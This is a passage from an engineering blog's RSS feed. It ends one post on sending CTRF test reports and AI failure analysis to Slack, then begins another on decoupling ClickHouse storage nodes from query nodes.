0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Setting up Slack Webhooks&lt;/h3&gt; &lt;ol&gt; &lt;li&gt;Navigate to Slack API&apos;s Incoming Webhooks page&lt;/li&gt; &lt;li&gt;Create a new app or use an existing one&lt;/li&gt; &lt;li&gt;Enable Incoming Webhooks&lt;/li&gt; &lt;li&gt;Add the webhook to your workspace&lt;/li&gt; &lt;li&gt;Configure the webhook URL:&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;SLACK_WEBHOOK_URL&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&amp;lt;https://hooks.slack.com/services/your/webhook/url&gt;&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h3 id=&quot;sending-test-results-to-slack&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#sending-test-results-to-slack&quot; aria-label=&quot;sending test results to slack permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Sending Test Results to Slack&lt;/strong&gt;&lt;/h3&gt; &lt;p&gt;For basic test results:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;npx slack-ctrf results ctrf/ctrf-report.json&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;div style=&quot;text-align:center; margin: 10px; display: none&quot;&gt; &lt;img src=&quot;/images/2025/03/ctrf-report-02.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;For AI analysis results:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;npx slack-ctrf ai ctrf/ctrf-report.json --consolidated&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h3 id=&quot;&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#&quot; aria-label=&quot; permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;/h3&gt; &lt;div style=&quot;text-align:center; margin: 10px; display: none&quot;&gt; &lt;img src=&quot;/images/2025/03/ctrf-report-03.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h2 id=&quot;flowchart&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#flowchart&quot; aria-label=&quot;flowchart permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Flowchart&lt;/strong&gt;&lt;/h2&gt; &lt;div style=&quot;text-align:center; margin: 10px; display: none&quot;&gt; &lt;img src=&quot;/images/2025/03/ctrf-report-04.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h2 id=&quot;future-enhancements&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#future-enhancements&quot; aria-label=&quot;future enhancements permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Future Enhancements&lt;/strong&gt;&lt;/h2&gt; &lt;p&gt;We&apos;re continuously working to enhance our reporting system with:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Custom AI models trained on our specific test patterns&lt;/li&gt; &lt;li&gt;Advanced failure clustering algorithms&lt;/li&gt; &lt;li&gt;Automated ticket creation based on AI analysis&lt;/li&gt; &lt;li&gt;Historical trend analysis and prediction&lt;/li&gt; &lt;li&gt;Generate a single analysis report for multiple jobs&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;best-practices-and-recommendations&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#best-practices-and-recommendations&quot; aria-label=&quot;best practices and recommendations permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Best Practices and Recommendations&lt;/strong&gt;&lt;/h2&gt; &lt;h3 id=&quot;ctrf-report-generation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#ctrf-report-generation&quot; aria-label=&quot;ctrf report generation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;CTRF Report Generation&lt;/strong&gt;&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;Include comprehensive environment information for better context&lt;/li&gt; &lt;li&gt;Combine with other reporters for complete coverage&lt;/li&gt; &lt;li&gt;Use consistent naming conventions for test descriptions&lt;/li&gt; &lt;li&gt;Take advantage of the standardized JSON format for custom tooling&lt;/li&gt; &lt;/ul&gt; &lt;h3 id=&quot;ai-analysis-configuration&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#ai-analysis-configuration&quot; aria-label=&quot;ai analysis configuration permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;AI Analysis Configuration&lt;/strong&gt;&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;Use GPT-4 for complex analysis needs&lt;/li&gt; &lt;li&gt;Start with a lower temperature (0.3) for more consistent analysis&lt;/li&gt; &lt;li&gt;Implement custom system prompts for specific analysis requirements&lt;/li&gt; &lt;li&gt;Use the maxMessages parameter to prevent overwhelming the AI model&lt;/li&gt; &lt;li&gt;Enable consolidation for cleaner summaries of multiple failures&lt;/li&gt; &lt;/ul&gt; &lt;h3 id=&quot;slack-integration&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#slack-integration&quot; aria-label=&quot;slack integration permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Slack Integration&lt;/strong&gt;&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;Use -onFailOnly for focused notifications&lt;/li&gt; &lt;li&gt;Implement -consolidated for cleaner channels&lt;/li&gt; &lt;li&gt;Create dedicated channels for different test types&lt;/li&gt; &lt;li&gt;Store webhook URLs securely as environment variables&lt;/li&gt; &lt;/ul&gt; &lt;h3 id=&quot;resource-management&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#resource-management&quot; aria-label=&quot;resource management permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Resource Management&lt;/strong&gt;&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;Monitor API usage and costs, especially for OpenAI services&lt;/li&gt; &lt;li&gt;Implement appropriate rate limiting for API calls&lt;/li&gt; &lt;li&gt;Use consolidation features for large test suites&lt;/li&gt; &lt;li&gt;Cache AI analyses for similar failure patterns&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt; &lt;p&gt;By integrating CTRF with AI-powered analysis, Wingify has significantly improved its software testing efficiency and collaboration. This approach provides a blueprint for other organizations seeking to accelerate their testing feedback loops and improve the quality of their software.&lt;/p&gt; &lt;h2 id=&quot;technical-reference&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#technical-reference&quot; aria-label=&quot;technical reference permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Technical Reference&lt;/strong&gt;&lt;/h2&gt; &lt;p&gt;For teams looking to implement similar solutions, here are the key repositories we use:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/ctrf-io/slack-test-reporter&quot;&gt;Slack CTRF Reporter&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/ctrf-io/playwright-ctrf-json-reporter&quot;&gt;Playwright CTRF JSON Reporter&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/ctrf-io/ai-test-reporter&quot;&gt;AI CTRF Reporter&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/ctrf-io/junit-to-ctrf&quot;&gt;JUnit to CTRF Converter&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/wingify/testng-to-ctrf&quot;&gt;Testng to CTRF Converter&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Sahil Goyal</author></item><item><title><![CDATA[Enhancing ClickHouse Architecture with Distributed Query Engines: A Cost-Effective Transformation]]></title><description><![CDATA[Preface In high-performance data platforms, efficiency and scalability are paramount. ClickHouse, renowned for its blazing-fast analytics…]]></description><link>https://engineering.wingify.com//posts/enhancing-clickHouse-architecture-with-distributed-query-engines/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/enhancing-clickHouse-architecture-with-distributed-query-engines/</guid><pubDate>Sun, 22 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;preface&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#preface&quot; aria-label=&quot;preface permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Preface&lt;/h2&gt; &lt;p&gt;In high-performance data platforms, efficiency and scalability are paramount. ClickHouse, renowned for its blazing-fast analytics, is no exception. Our team recently transitioned from a traditional architecture—utilizing a combination of ReplicatedMergeTree and Distributed engines on the same nodes—to a more sophisticated distributed query engine design. This article explores the motivation behind this shift, the implementation, and the remarkable results.&lt;/p&gt; &lt;h2 id=&quot;old-architecture-unified-nodes-for-storage-and-queries&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#old-architecture-unified-nodes-for-storage-and-queries&quot; aria-label=&quot;old architecture unified nodes for storage and queries permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Old Architecture: Unified Nodes for Storage and Queries&lt;/h2&gt; &lt;p&gt;Previously, our ClickHouse cluster consisted of nodes that served dual purposes: storage and query computation. The ReplicatedMergeTree engine managed circular data replication and data sharding, while the Distributed engine executed queries by routing them across the cluster.&lt;/p&gt; &lt;h2 id=&quot;challenges&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#challenges&quot; aria-label=&quot;challenges permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Challenges:&lt;/h2&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;High Computational Overhead on Write Nodes:&lt;/strong&gt; Write-heavy operations demanded significant computational resources, often resulting in hardware upgrades to sustain performance.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Vertical Scalability Limitation:&lt;/strong&gt; Scaling involved increasing node capacities—an expensive and rigid approach.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Underutilized Resources:&lt;/strong&gt; During low read-intensive workloads, computation resources on some nodes remained idle, leading to inefficient hardware utilization.&lt;/li&gt; &lt;/ol&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/beb295729324aa77ecdfff9b7b435897/5e93d/clickhouse-query-engine-old-arch.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 34.68208092485549%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsSAAALEgHS3X78AAAAuklEQVQoz3WR2wqAIAyGff9XVcisNA+1+AYLL2ogzu0/rOXu+5avQ/TepbUmIQRZlkXGGHqIP46TnwCA2HmeEmOUbdv0bYJfeI6z5LqudyJESil6cs5ap2/1WqvWEJ+n0wlp4g6YfF1XJUHgPo5DxYyIYUpJjeiTw+ONjgO877sSCYoACeoYzIEgK7DpyM2UIXSHOOBEkSai5JD5GRjY/iBhYmugB/79ZFxsHzPJclbhvVcjw1h/zrmJB/ktJcr0vIyxAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;clickhouse query engine old arch&quot; title=&quot;clickhouse query engine old arch&quot; src=&quot;/static/beb295729324aa77ecdfff9b7b435897/1e043/clickhouse-query-engine-old-arch.png&quot; srcset=&quot;/static/beb295729324aa77ecdfff9b7b435897/991de/clickhouse-query-engine-old-arch.png 173w, /static/beb295729324aa77ecdfff9b7b435897/e4d6b/clickhouse-query-engine-old-arch.png 345w, /static/beb295729324aa77ecdfff9b7b435897/1e043/clickhouse-query-engine-old-arch.png 690w, /static/beb295729324aa77ecdfff9b7b435897/e3189/clickhouse-query-engine-old-arch.png 1035w, /static/beb295729324aa77ecdfff9b7b435897/b1001/clickhouse-query-engine-old-arch.png 1380w, /static/beb295729324aa77ecdfff9b7b435897/5e93d/clickhouse-query-engine-old-arch.png 4611w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;h2 id=&quot;new-architecture-decoupling-storage-and-queries&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#new-architecture-decoupling-storage-and-queries&quot; aria-label=&quot;new architecture decoupling storage and queries permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;New Architecture: Decoupling Storage and Queries&lt;/h2&gt; &lt;p&gt;The new architecture separates storage nodes from query computation nodes. Storage nodes retain the ReplicatedMergeTree engine, focusing solely on data ingestion and replication. Dedicated query nodes equipped with a horizontally scalable distributed query engine handle query execution and computation.&lt;/p&gt; &lt;h2 id=&quot;key-components&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#key-components&quot; aria-label=&quot;key components permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Key Components:&lt;/h2&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Storage Nodes:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Run ReplicatedMergeTree for high-performance data storage and replication.&lt;/li&gt; &lt;li&gt;Handle raw data writes and ensure data durability.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Query Nodes:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Brings the raw data from all Clickhouse Storage Nodes according to filter applied and then perform final computations on that data on query nodes.&lt;/li&gt; &lt;li&gt;Perform computationally intensive operations such as aggregations, filtering, and joins.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Load Balancing:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;A Google Load Balancer (GLB) directs read requests to query nodes according to CPU and memory usage of those 